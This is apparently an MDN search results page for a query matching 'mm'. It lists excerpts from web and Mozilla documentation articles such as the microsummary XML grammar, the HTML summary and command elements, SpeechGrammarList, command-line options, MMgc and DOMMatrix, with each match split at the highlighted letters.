Search completed in 1.25 seconds.
Microsummary XML grammar reference - Archive of obsolete content
a microsu
mmary generator is an xml document that describes how to pull specific information from a web page to be presented in su
mmary form as a bookmark whose title changes based on the content of the page it targets. warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this article provides detailed information about the xml gra
mmar used to build microsu
mmary generators, describing each element and their attributes. for an introduction to how to create a microsu
mmary, read the article creating a microsu
mmary. ...
...ntent of the page it targets. warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this article provides detailed information about the xml gra
mmar used to build microsu
mmary generators, describing each element and their attributes. for an introduction to how to create a microsu
mmary, read the article creating a microsu
mmary. ...
...
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this article provides detailed information about the xml gra
mmar used to build microsu
mmary generators, describing each element and their attributes. for an introduction to how to create a microsu
mmary, read the article creating a microsu
mmary. ...
...And 18 more matches
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. permitted content phrasing content or one element of heading content tag omission none, both the start tag and the end tag are mandatory. permitted parents the <details> element. ...
...rasing content or one element of heading content tag omission none, both the start tag and the end tag are mandatory. permitted parents the <details> element. implicit aria role button permitted aria roles no role permitted dom interface htmlelement attributes this element only includes the global attributes. ...
...e mandatory. permitted parents the <details> element. implicit aria role button permitted aria roles no role permitted dom interface htmlelement attributes this element only includes the global attributes. usage notes the <su
mmary> element's contents can be any heading content, plain text, or html that can be used within a paragraph. a <su
mmary> element may only be used as the first child of a <details> element. ...
...And 12 more matches
SpeechGrammarList.SpeechGrammarList() - Web APIs
the speechgra
mmarlist() constructor creates a new speechgra
mmarlist object instance. syntax var mygra
mmarlist = new speechgra
mmarlist(); parameters none. examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgra
mmarlist, add our gra
mmar string to it using the speechgra
mmarlist.addfromstring method, and set it to be the gra
mmar that will be recognised by the speechrecognition instance using the speechrecognition.gra
mmars property. ...
...examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgra
mmarlist, add our gra
mmar string to it using the speechgra
mmarlist.addfromstring method, and set it to be the gra
mmar that will be recognised by the speechrecognition instance using the speechrecognition.gra
mmars property. ...
... speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgra
mmarlist, add our gra
mmar string to it using the speechgra
mmarlist.addfromstring method, and set it to be the gra
mmar that will be recognised by the speechrecognition instance using the speechrecognition.gra
mmars property. ...
...And 5 more matches
<command>: The HTML Command element - HTML: Hypertext Markup Language
you should use the <menuitem> element instead, although that element is non-standard and only supported in edge and firefox. content categories flow content, phrasing content, metadata content. permitted content none, it is an empty element. tag omission the start tag is mandatory, but, as it is a void element, the use of an end tag is forbidden. ...
...adata content. permitted content none, it is an empty element. tag omission the start tag is mandatory, but, as it is a void element, the use of an end tag is forbidden. permitted parent elements <colgroup> only, though it can be implicitly defined as its start tag is not mandatory. the <colgroup> must not have a <span> as child. dom interface htmlco
mmandelement attributes this element includes the global attributes. checked indicates whether the co
mmand is selected. must be omitted unless the type attribute is checkbox or radio. disabled indicates that the co
mmand is not available. icon gives a picture which represents the co
mmand. label the name of the co
mmand as shown to the user. radiogroup this attribute gives the name ...
...attributes this element includes the global attributes. checked indicates whether the co
mmand is selected. must be omitted unless the type attribute is checkbox or radio. disabled indicates that the co
mmand is not available. icon gives a picture which represents the co
mmand. label the name of the co
mmand as shown to the user. radiogroup this attribute gives the name of the group of co
mmands, with a type of radio, that will be toggled when the co
mmand itself is toggled. this attribute must be omitted unless the type attribute is radio. type this attribute indicates the kind of co
mmand. this can be one of three values. ...
...And 5 more matches
SpeechGrammar.SpeechGrammar() - Web APIs
the speechgra
mmar constructor of the speechgra
mmar interface creates a new speechgra
mmar object instance. syntax var myspeechgra
mmar = new speechgra
mmar(); parameters none. ...
... the speechgra
mmar constructor of the speechgra
mmar interface creates a new speechgra
mmar object instance. syntax var myspeechgra
mmar = new speechgra
mmar(); parameters none. ...
... the speechgra
mmar constructor of the speechgra
mmar interface creates a new speechgra
mmar object instance. syntax var myspeechgra
mmar = new speechgra
mmar(); parameters none. ...
...And 2 more matches
Command line crash course - Learn web development
previous overview: understanding client-side tools next in your development process you'll undoubtedly be required to run some co
mmand in the terminal (or on the "co
mmand line" — these are effectively the same thing). this article provides an introduction to the terminal, the essential co
mmands you'll need to enter into it, how to chain co
mmands together, and how to add your own co
mmand line interface (cli) tools. prerequisites: familiarity with the core html, css, and javascript languages. objective: to understand what the terminal/co
mmand line is, what basic co
mmands you should learn, and how to install new co
mmand line tools. welcome to the terminal the terminal is a text interface for executing text-based programs. if you're running any toolin...
...s, and javascript languages. objective: to understand what the terminal/co
mmand line is, what basic co
mmands you should learn, and how to install new co
mmand line tools. welcome to the terminal the terminal is a text interface for executing text-based programs. if you're running any tooling for web development there's a near-guaranteed chance that you'll have to pop open the co
mmand line and run some co
mmands to use your chosen tools (you'll often see such tools referred to as cli tools — co
mmand line interface tools). ...
... to the terminal the terminal is a text interface for executing text-based programs. if you're running any tooling for web development there's a near-guaranteed chance that you'll have to pop open the co
mmand line and run some co
mmands to use your chosen tools (you'll often see such tools referred to as cli tools — co
mmand line interface tools). a large number of tools can be used by typing co
mmands into the co
mmand line; many come pre-installed on your system, and a huge number of others are installable from package registries. package registries are like app stores, but (mostly) for co
mmand line based tools and software. we’ll see how to install some tools later on in this chapter, and we’ll learn more about package registries in the next chapter. one of the biggest criticisms of ...
...And 49 more matches
MMgc - Archive of obsolete content
mmgc is the tamarin (née macromedia) garbage collector, a memory management library that has been built as part of the avm2/tamarin effort. it is a static library that is linked into the flash player but kept separate, and can be incorporated into other programs. using
mmgc managed vs. unmanaged memory
mmgc is not only a garbage collector, but a general-purpose memory manager. the flash player uses it for nearly all memory allocations.
mmgc can handle both managed and unmanaged memory. managed memory is memory that is reclaimed automatically by the garbage collector. the garbage collector is "managing" it, detecting when the memory is no longer reachable from anywhere in the application and reclaiming it at that time. ...
...unmanaged memory is everything else. this is c++ memory management as you're accustomed to it. ...
...or by calling gc::alloc. unmanaged memory is everything else. this is c++ memory management as you're accustomed to it. memory can be allocated with the new operator, and must be explicitly deleted in your c++ code at some later time using the delete operator. another way to think about it: unmanaged memory is c++ operators new and delete managed memory is c++ operator new, with optional delete
mmgc contains a page allocator called gcheap, which allocates large blocks (megabytes) of memory from the system and doles out 4kb pages to the unmanaged memory allocator (fixedmalloc) and the managed memory allocator (gc).
mmgc namespace the
mmgc library is in the c++ namespace
mmgc. you can qualify references to classes in the library; for example:
mmgc::gc,
mmgc::gcfinalizedobject. alternately, y...
...And 42 more matches
Commands - Archive of obsolete content
« previousnext » a co
mmand is an operation which may be invoked. co
mmand elements the co
mmand element is used to create co
mmands which can be used to carry out operations. you don't need to use co
mmands, since you can just call a script to handle things. however, a co
mmand has the advantage that it can be disabled when needed and can be invoked without needing to know about the details of its implementation. co
mmands provide a suitable way to abstract operations from the code. co
mmands are especially useful for larger applications. for instance, in order to implement the clipboard menu co
mmands, cut, copy and paste, you can use co
mmands. ...
...as you can see, this becomes complicated. ...
...de a suitable way to abstract operations from the code. co
mmands are especially useful for larger applications. for instance, in order to implement the clipboard menu co
mmands, cut, copy and paste, you can use co
mmands. if you did not use co
mmands, you would need to figure out which field has the focus, then check to ensure that the operation is suitable for that element. in addition, the menu co
mmands would need to be enabled and disabled depending on whether the focused element had selected text or not, and for paste operations, whether there is something suitable on the clipboard to paste. as you can see, this becomes complicated. by using co
mmands, much of the work is handled for you. you can use a co
mmand for any operation. mozilla uses them for almost every menu co
mmand. in addition,...
...And 35 more matches
Creating a Microsummary - Archive of obsolete content
warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) a microsu
mmary generator is a set of instructions for creating a microsu
mmary from the content of a page. web pages can reference generators via <link rel="microsu
mmary"> elements in their <head> elements. generators can also be independently downloaded and installed by users if they include a list of pages to which they apply. in this tutorial we're going to create a microsu
mmary generator for the spread firefox home page that displays the current firefox download count along with the label fx downloads; for example: 174475447 fx downloads. ...
...e independently downloaded and installed by users if they include a list of pages to which they apply. in this tutorial we're going to create a microsu
mmary generator for the spread firefox home page that displays the current firefox download count along with the label fx downloads; for example: 174475447 fx downloads. we'll build the xslt transform sheet that converts that page into its microsu
mmary, learn how to specify that the generator applies to that page, and find out how to make the generator available for download and installation. ...
...age into its microsu
mmary, learn how to specify that the generator applies to that page, and find out how to make the generator available for download and installation. in each step of revising the transform sheet and other code in this tutorial, new material added will be shown in boldface so you can follow along more easily. note: if you are a web site developer, and you want to create microsu
mmaries for pages on your site, you can write generators to do so, but a simpler and more efficient approach is to create the microsu
mmaries on the server-side using the same tools and languages you already use to generate pages. for example, if you use php scripts to generate pages on your site, you could write php code to output a microsu
mmary when the view=microsu
mmary url parameter is present. ...
...And 25 more matches
nsIMicrosummaryService
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface provides methods for managing installed microsu
mmaries, and the bookmarks they apply to. ...
... toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface provides methods for managing installed microsu
mmaries, and the bookmarks they apply to. ...
... this interface provides methods for managing installed microsu
mmaries, and the bookmarks they apply to. ...
...And 21 more matches
Updating Commands - Archive of obsolete content
« previousnext » in this section, we will look at how to update co
mmands. invoking co
mmands if a co
mmand has an onco
mmand attribute, you can invoke it just by using the doco
mmand method of the co
mmand or an element which links to it. for other co
mmands, you will need to use a couple of additional lines of code. you will need to use these extra steps when invoking co
mmands implemented by a controller. in addition, you will need to do this when creating your own menu co
mmands, for instance to implement the edit menu co
mmands in your own application. fortunately, the extra code is fairly simple. all we need to do is get the needed controller and call the co
mmand. ...
...tra steps when invoking co
mmands implemented by a controller. in addition, you will need to do this when creating your own menu co
mmands, for instance to implement the edit menu co
mmands in your own application. fortunately, the extra code is fairly simple. all we need to do is get the needed controller and call the co
mmand. a simple way of doing this is the following: var controller = document.co
mmanddispatcher.getcontrollerforco
mmand("cmd_paste"); if (controller && controller.isco
mmandenabled("cmd_paste")){ controller.doco
mmand(co
mmand); } the code above first retrieves the controller for the 'cmd_paste' co
mmand from the co
mmand dispatcher. then, it checks to see whether the co
mmand is enabled, and then executes the co
mmand using the doco
mmand method of the controller. note that we don'...
...ller.isco
mmandenabled("cmd_paste")){ controller.doco
mmand(co
mmand); } the code above first retrieves the controller for the 'cmd_paste' co
mmand from the co
mmand dispatcher. then, it checks to see whether the co
mmand is enabled, and then executes the co
mmand using the doco
mmand method of the controller. note that we don't need to figure out which element to use or which controller to use. the co
mmand dispatcher handles that part. also, we could just call doco
mmand without checking if the co
mmand was enabled or not, although we probably shouldn't do that. the code above is generic enough that it can be a function that takes a co
mmand as an argument and executes that co
mmand. this function could then be reused for all co
mmands. ...
...And 18 more matches
Handling common accessibility problems - Learn web development
previous overview: cross browser testing next next we turn our attention to accessibility, providing information on co
mmon problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing. objective: to be able to diagnose co
mmon accessibility problems, and use appropriate tools and techniques to fix them. ...
...ty issues. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing. objective: to be able to diagnose co
mmon accessibility problems, and use appropriate tools and techniques to fix them. what is accessibility? when we say accessibility in the context of web technology, most people i
mmediately think of making sure websites/apps are usable by people with disabilities, for example: visually impaired people using screen readers or magnification/zoom to access text people with motor function impairments using the keyboard (or other non-mouse features) to activate website functionality. people with hearing impairments relying on captions/subtitles or other text alternatives for...
...n the module. note: like many things in web development, accessibility isn't about 100% success or not; 100% accessibility is pretty much impossible to achieve for all content, especially as sites get more complex. instead, it is more about making a reasonable effort to make as much of your content accessible to as many people as possible via defensive coding and sticking to best practices. co
mmon accessibility issues in this section we'll detail some of the main issues that arise around web accessibility, connected with specific technologies, along with best practices to follow, and some quick tests you can do to see if your sites are going in the right direction. note: accessibility is morally the right thing to do, and good for business (numbers of disabled users, users on mobile d...
...And 17 more matches
Handling common JavaScript problems - Learn web development
previous overview: cross browser testing next now we'll look at co
mmon cross-browser javascript problems and how to fix them. this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing. objective: to be able to diagnose co
mmon javascript cross-browser problems, and use appropriate tools and techniques to fix them. the trouble with javascript historically, javascript was plagued with cross-browser compatibility problems — back in the 1990s, the main browser cho...
... we'll explore all these problems and more below. fixing general javascript problems as we said in the previous article on html/css, you should make sure your code is working generally, before going on to concentrate on the cross-browser issues. if you are not already familiar with the basics of troubleshooting javascript, you should study that article before moving on. there are a number of co
mmon javascript problems that you will want to be mindful of, such as: basic syntax and logic problems (again, check out troubleshooting javascript). making sure variables, etc. are defined in the correct scope, and you are not running into conflicts between items declared in different places (see function scope and conflicts). confusion about this, in terms of what scope it applies to, and the...
...synchronous operations have returned before trying to use the values they return. for example, this ajax example checks to make sure the request is complete and the response has been returned before trying to use the response for anything. this kind of operation has been made easier to handle by the introduction of promises to the javascript language. note: buggy javascript code: the 10 most co
mmon mistakes javascript developers make has some nice discussions of these co
mmon mistakes and more. linters as with html and css, you can ensure better quality, less error-prone javascript code using a linter, which points out errors and can also flag up warnings about bad practices, etc., and be customized to be stricter or more relaxed in their error/warning reporting. the javascript/ecmascri...
...And 16 more matches
Handling common HTML and CSS problems - Learn web development
previous overview: cross browser testing next with the scene set, we'll now look specifically at the co
mmon cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur. this includes linting code, handling css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing. objective: to be able to diagnose co
mmon html and css cross browser problems, and use appropriate tools and techniques to fix them. the trouble with html and css ...
...of the features on the page. in the worst cases, javascript is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive). in other cases, nascent features are not supported consistently across browsers, which can make some features and styles not work for some users. responsive design problems are also co
mmon — a site that looks good in a desktop browser might provide a terrible experience on a mobile device, because the content is too small to read, or perhaps the site is slow because of expensive animations. let's go forth and look at how we can reduce cross browser errors that result from html/css. first things first: fixing general problems we said in the first article of this series that a...
... concentrate on the cross browser issues. in our debugging html and debugging css articles, we provided some really basic guidance on debugging html/css — if you are not familiar with the basics, you should definitely study these articles before carrying on. basically, it is a matter of checking whether your html and css code is well formed and doesn't contain any syntax errors. note: one co
mmon problem with css and html arises when different css rules begin to conflict with one another. this can be especially problematic when you are using third party code. for example, you might use a css framework and find that one of the class names it uses clashes with one you've already used for a different purpose. or you might find that html generated by some kind of third party api (generating...
...And 15 more matches
Command line options
co
mmand line options are used to specify various startup options for mozilla applications. for example, if you have multiple profiles you can use co
mmand line configuration options to bypass the profile manager and open a specific profile. you can also control how mozilla applications open, which components open initially, and what the components do when they open. this page describes the co
mmonly used options and how to use them. you can open the co
mmand line interface by pressing shift + f2. syntax rules but first, let's describe the syntax rules that apply for all options. co
mmand parameters containing spaces must be enclosed in quotes, such as "joel user". co
mmand actions are case insensitive. co
mmand parameters, except profile names, are case insensitive. blank spaces ( ) separ...
...ptions and how to use them. you can open the co
mmand line interface by pressing shift + f2. syntax rules but first, let's describe the syntax rules that apply for all options. co
mmand parameters containing spaces must be enclosed in quotes, such as "joel user". co
mmand actions are case insensitive. co
mmand parameters, except profile names, are case insensitive. blank spaces ( ) separate co
mmands and parameters. ...
...t profile names, are case insensitive. blank spaces ( ) separate co
mmands and parameters. each message option follows the syntax field=value, for example: to=foo@nowhere.net subject=cool page attachment=www.mozilla.org attachment='file:///c:/test.txt' body=check this page or also in thunderbird 52 and newer: body=c:\path\to\file.txt separate multiple message options by co
mma (,), for example: "to=foo@nowhere.net,subject=cool page" . co
mma separators must not follow or precede spaces ( ). to assign multiple values to a field, enclose the values in single quotes ('), for example: "to='foo@nowhere.net,foo@foo.de',subject=cool page" . using co
mmand line options co
mmand line options follow the co
mmand to start the application. if the option contains arguments, enter ...
...And 15 more matches
nsICommandLine
switches flags. in normalized form, these are preceded by a single dash. some flags may take parameters; for example: "-url <param>" or "-install-xpi <param>". ...
...switches flags. in normalized form, these are preceded by a single dash. some flags may take parameters; for example: "-url <param>" or "-install-xpi <param>". ...
...switches flags. in normalized form, these are preceded by a single dash. some flags may take parameters; for example: "-url <param>" or "-install-xpi <param>". ...
...And 15 more matches
DOMMatrixReadOnly - Web APIs
a 4×4 matrix is suitable to describe any rotation and translation in 3d. this interface should be available inside web workers, though some implementations doesn't allow it yet. properties this interface doesn't inherit any properties. is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix. if false, the matrix is 3d. isidentity read only a boolean whose value is true if the matrix is the identity matrix. ...
...ions and translations. these are aliases for specific components of a 4×4 matrix, as shown below. 2d 3d equivalent a m11 b m12 c m21 d m22 e m41 f m42 methods this interface doesn't inherit any methods. none of the following methods alter the original matrix. ...
...for specific components of a 4×4 matrix, as shown below. 2d 3d equivalent a m11 b m12 c m21 d m22 e m41 f m42 methods this interface doesn't inherit any methods. none of the following methods alter the original matrix. do
mmatrixreadonly.flipx() returns a new do
mmatrix created by flipping the source matrix around its x-axis. this is equivalent to multiplying the matrix by do
mmatrix(-1, 0, 0, 1, 0, 0). the original matrix is not modified. do
mmatrixreadonly.flipy() returns a new do
mmatrix created by flipping the source matrix around its y-axis. this is equivalent to multiplying the matrix by do
mmatrix(1, 0, 0, -1, 0, 0). the original matrix is not modifi...
...And 15 more matches
Using cross commit - Archive of obsolete content
cross-co
mmit is a script that allows a single patch to be easily checked in on multiple branches. getting the script "make -f client.mk pull_all" from a working copy of the trunk now pulls cross-co
mmit, and that'll work on the 1.8 branch soon, too, so you might already have the script. if you don't, however, then from the parent directory of your source dir, do: cvs co mozilla/tools/cross-co
mmit note that you will need to have $cvsroot and such set up correctly for this to work. ...
...rom a working copy of the trunk now pulls cross-co
mmit, and that'll work on the 1.8 branch soon, too, so you might already have the script. if you don't, however, then from the parent directory of your source dir, do: cvs co mozilla/tools/cross-co
mmit note that you will need to have $cvsroot and such set up correctly for this to work. ...
... trunk now pulls cross-co
mmit, and that'll work on the 1.8 branch soon, too, so you might already have the script. if you don't, however, then from the parent directory of your source dir, do: cvs co mozilla/tools/cross-co
mmit note that you will need to have $cvsroot and such set up correctly for this to work. ...
...And 14 more matches
DOMMatrix - Web APIs
is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix. if false, the matrix is 3d. isidentity read only a boolean whose value is true if the matrix is the identity matrix. ...
... is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix. if false, the matrix is 3d. isidentity read only a boolean whose value is true if the matrix is the identity matrix. ...
... is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix. if false, the matrix is 3d. isidentity read only a boolean whose value is true if the matrix is the identity matrix. ...
...And 14 more matches
Providing Command-Line Options - Archive of obsolete content
extensions and xul applications can modify the way co
mmand line parameters are handled by writing a component that implements the nsico
mmandlinehandler interface and registering it in a category. see also: xulrunner:co
mmandline overview the code below is an example of writing a javascript xpcom component to handle co
mmand line parameters. you can learn more about how the co
mmand line is interpreted by looking at the documentation for the nsico
mmandline interface. example the below example component implements two co
mmand line parameters: firefox.exe -myapp opens a chrome window for my application. firefox.exe -viewapp url opens a chrome window for my application and passes it an nsiuri object. ...
...the co
mmand line is interpreted by looking at the documentation for the nsico
mmandline interface. example the below example component implements two co
mmand line parameters: firefox.exe -myapp opens a chrome window for my application. firefox.exe -viewapp url opens a chrome window for my application and passes it an nsiuri object. ...
...eters: firefox.exe -myapp opens a chrome window for my application. firefox.exe -viewapp url opens a chrome window for my application and passes it an nsiuri object. ...
...And 12 more matches
CommandLine - Archive of obsolete content
handling co
mmand line arguments with xulrunner for multiple instances application it's fairly easy to retrieve application specific co
mmand line arguments in xulrunner when it's not a single instance application. an nsico
mmandline object is passed as the first argument of the launched window: example var cmdline = window.arguments[0]; cmdline = cmdline.queryinterface(components.interfaces.nsico
mmandline); alert(cmdline.handleflagwithparam("test", false)); see also: chrome: co
mmand line for single instance applications of course, for a single instance application (see toolkit.singletonwindowtype for more information), the last example still applies the first time your application is launched. ...
... for the sake of simplicity, the proposed solution involves the observer service to notify observers that the updated arguments are available. ...
... false)); see also: chrome: co
mmand line for single instance applications of course, for a single instance application (see toolkit.singletonwindowtype for more information), the last example still applies the first time your application is launched. however, if you'd like to retrieve the latest co
mmand line arguments (to open a file for example), a possible solution is to create your own co
mmand line handler. for the sake of simplicity, the proposed solution involves the observer service to notify observers that the updated arguments are available. a similar and better way to implement this solution is by defining argument specific handlers with registering and unregistering functions in your co
mmand line handler service. this has the advantage to accumulate unhandled arguments until...
...And 12 more matches
nsICommandLineHandler
toolkit/components/co
mmandlines/public/nsico
mmandlinehandler.idlscriptable handles arguments on the co
mmand line of a xul application. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) each co
mmand line handler is registered in the category "co
mmand-line-handler". the entries in this category are read in alphabetical order, and each category value is treated as a service contract id implementing this interface. by convention, handlers with ordinary priority should begin with "m". ...
...rd 1.5 / seamonkey 1.0) each co
mmand line handler is registered in the category "co
mmand-line-handler". the entries in this category are read in alphabetical order, and each category value is treated as a service contract id implementing this interface. by convention, handlers with ordinary priority should begin with "m". ...
...and-line-handler". the entries in this category are read in alphabetical order, and each category value is treated as a service contract id implementing this interface. by convention, handlers with ordinary priority should begin with "m". ...
...And 12 more matches
Lexical grammar - JavaScript
ecmascript also defines certain keywords and literals and has rules for automatic insertion of semicolons to end statements. control characters control characters have no visual representation but are used to control the interpretation of the text. unicode format-control characters code point name abbreviation description u+200c zero width non-joiner <zwnj> placed between characters to prevent being connected into ligatures in certain languages (wikipedia). ...
...cript, other line breaking characters are treated as white space (for example, next line, nel, u+0085 is considered as white space). line terminator characters code point name abbreviation description escape sequence u+000a line feed <lf> new line character in unix systems. \n u+000d carriage return <cr> new line character in co
mmodore and early mac systems. \r u+2028 line separator <ls> wikipedia u+2029 paragraph separator <ps> wikipedia co
mments co
mments are used to add hints, notes, suggestions, or warnings to javascript code. this can make it easier to read and understand. they can also be used to disable code to prevent it from being executed; this can be a valuab...
...r <ls> wikipedia u+2029 paragraph separator <ps> wikipedia co
mments co
mments are used to add hints, notes, suggestions, or warnings to javascript code. this can make it easier to read and understand. they can also be used to disable code to prevent it from being executed; this can be a valuable debugging tool. javascript has two long-standing ways to add co
mments to code. the first way is the // co
mment; this makes all text following it on the same line into a co
mment. for example: function co
mment() { // this is a one line javascript co
mment console.log('hello world!'); } co
mment(); the second way is the /* */ style, which is much more flexible. ...
...And 12 more matches
Adding Events and Commands - Archive of obsolete content
« previousnext » event handlers just like with html, most javascript code execution is triggered by event handlers attached to dom elements. the most co
mmonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here. window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); you can do something similar with the onunload event, to do any cleanup you may need. please read appendix a for reco
mmendations on how to use the load event to initialize your add-on without having a negative performance impact on firefox. another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id=...
...eventlistener method receives the event name without the "on" prefix, while element attributes do have the prefix. there's a long list of events you can listen to, and which you use depend on the situation. elements only implement the events that are relevant to them, but there are several events that are implemented for most elements. these are some notable events you should keep in mind: onco
mmand. this is one of the most important and co
mmonly used events in xul. it's very useful because it represents the most co
mmon action for input controls such as menu items, buttons and checkboxes. for a button, it represents the action of the user clicking on it, or focusing it with the keyboard and then pressing the enter key. it's an abstraction of the main way to interact with a control element...
...licking on it, or focusing it with the keyboard and then pressing the enter key. it's an abstraction of the main way to interact with a control element. onselect. fired when the selection in a tree or listbox changes. onclick. triggered when the user clicks on the element, including right clicks. you shouldn't normally use this event to trigger actions on input controls such as buttons. use onco
mmand instead. onfocus and onblur. used when an element receives or loses focus when the user is navigating with the keyboard. you can combine these with -moz-user-focus to add custom focus behavior to elements that normally wouldn't have it. drag and drop. drag and drop operations involve several events. since drag and drop is a complicated thing to manage, there are some high level wrappers that...
...And 11 more matches
Microsummary topics - Archive of obsolete content
warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) progra
mmatically installing a microsu
mmary generator to progra
mmatically install a microsu
mmary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosu
mmaryservice interface implemented by the nsimicrosu
mmaryservice component, then call its installgenerator() method, passing it an xml document containing the generator. ...
...nstall a microsu
mmary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosu
mmaryservice interface implemented by the nsimicrosu
mmaryservice component, then call its installgenerator() method, passing it an xml document containing the generator. ...
...ple, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosu
mmaryservice interface implemented by the nsimicrosu
mmaryservice component, then call its installgenerator() method, passing it an xml document containing the generator. ...
...And 11 more matches
Commenting IDL for better documentation
you don't need to write perfect documentation. ...
...you don't need to write perfect documentation. ...
...tion team has tools that convert co
mments from the doxygen format into the standard reference article format we use here on mdn, with certain limitations. this article will help you understand how you can format your co
mments to help ensure that the conversion process can be automated as much as possible in order to ensure that your interface gets properly documented. happily, following these reco
mmendations will also help ensure your co
mments are extremely human-readable, too. don't worry! you don't need to write perfect documentation. that is why mozilla has a couple of writers on-staff as well as a horde of happy volunteers. we will take your co
mments and notes and turn them into beautiful, easy to search and read documentation. but by following the guidelines here, you can help make sure...
...And 11 more matches
Grammar and types - JavaScript
basics javascript borrows most of its syntax from java, c, and c++, but it has also been influenced by awk, perl, and python. javascript is case-sensitive and uses the unicode character set. for example, the word früh (which means "early" in german) could be used as a variable name. let früh = "foobar" but, the variable früh is not the same as früh because javascript is case sensitive. in javascript, instructions are called statements and are separated by semicolons (;). a semicolon is not necessary after a statement if it is written on its own line. ...
...ed statements and are separated by semicolons (;). a semicolon is not necessary after a statement if it is written on its own line. but if more than one statement on a line is desired, then they must be separated by semicolons. ecmascript also has rules for automatic insertion of semicolons (asi) to end statements. (for more information, see the detailed reference about javascript's lexical gra
mmar.) it is considered best practice, however, to always write a semicolon after a statement, even when it is not strictly needed. this practice reduces the chances of bugs getting into the code. the source text of javascript script gets scanned from left to right, and is converted into a sequence of input elements which are tokens, control characters, line terminators, co
mments, or whitespace. ...
...icolon after a statement, even when it is not strictly needed. this practice reduces the chances of bugs getting into the code. the source text of javascript script gets scanned from left to right, and is converted into a sequence of input elements which are tokens, control characters, line terminators, co
mments, or whitespace. ...
...And 11 more matches
command - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a co
mmand element can be used to invoke an operation that can come from multiple sources. for example, a clipboard paste operation can be invoked from the edit menu, a context menu and by pressing a keyboard shortcut. you attach the code to the co
mmand using the onco
mmand attribute. it will be called no matter how it is invoked by the user. in addition, disabling the co
mmand will automatically disable the menu items and keyboard shortcuts. co
mmands are identified by their id. ...
... a keyboard shortcut. you attach the code to the co
mmand using the onco
mmand attribute. it will be called no matter how it is invoked by the user. in addition, disabling the co
mmand will automatically disable the menu items and keyboard shortcuts. co
mmands are identified by their id. if you include the script chrome://global/content/globaloverlay.js in your window, you can use the function godoco
mmand function to invoke the co
mmand. using this function has the advantage that the co
mmand will be sent to the part of the ui which will respond to it. typically, this will be the currently focused element. like a broadcaster, co
mmands forward attributes to other elements. more information is available in the xul tutorial. ...
...loverlay.js in your window, you can use the function godoco
mmand function to invoke the co
mmand. using this function has the advantage that the co
mmand will be sent to the part of the ui which will respond to it. typically, this will be the currently focused element. like a broadcaster, co
mmands forward attributes to other elements. more information is available in the xul tutorial. ...
...And 9 more matches
Trailing commas - JavaScript
trailing co
mmas (sometimes called "final co
mmas") can be useful when adding new elements, parameters, or properties to javascript code. if you want to add a new property, you can simply add a new line without modifying the previously last line if that line already uses a trailing co
mma. this makes version-control diffs cleaner and editing code might be less troublesome. javascript has allowed trailing co
mmas in array literals since the beginning, and later added them to object literals (ecmascript 5) and most recently (ecmascript 2017) to function parameters. json, however, disallows trailing co
mmas. ...
...an array with holes is called sparse (a dense array has no holes). ...
...an array with holes is called sparse (a dense array has no holes). ...
...And 9 more matches
nsIMicrosummary
toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface defines attributes and methods for dealing with microsu
mmaries generated by an nsimicrosu
mmarygenerator. ...
... toolkit/components/places/public/nsimicrosu
mmaryservice.idlscriptable this interface defines attributes and methods for dealing with microsu
mmaries generated by an nsimicrosu
mmarygenerator. ...
... and methods for dealing with microsu
mmaries generated by an nsimicrosu
mmarygenerator. 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsu
mmary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosu
mmaryobserver observer); boolean equals(in nsimicrosu
mmary aother); void removeobserver(in nsimicrosu
mmaryobserver observer); void update(); attributes attribute type description content astring the content of the microsu
mmary. since generators and pages can be remote resources, and we need them to generate the content, this may not alw...
...And 8 more matches
The "codecs" parameter in common media types - Web media technologies
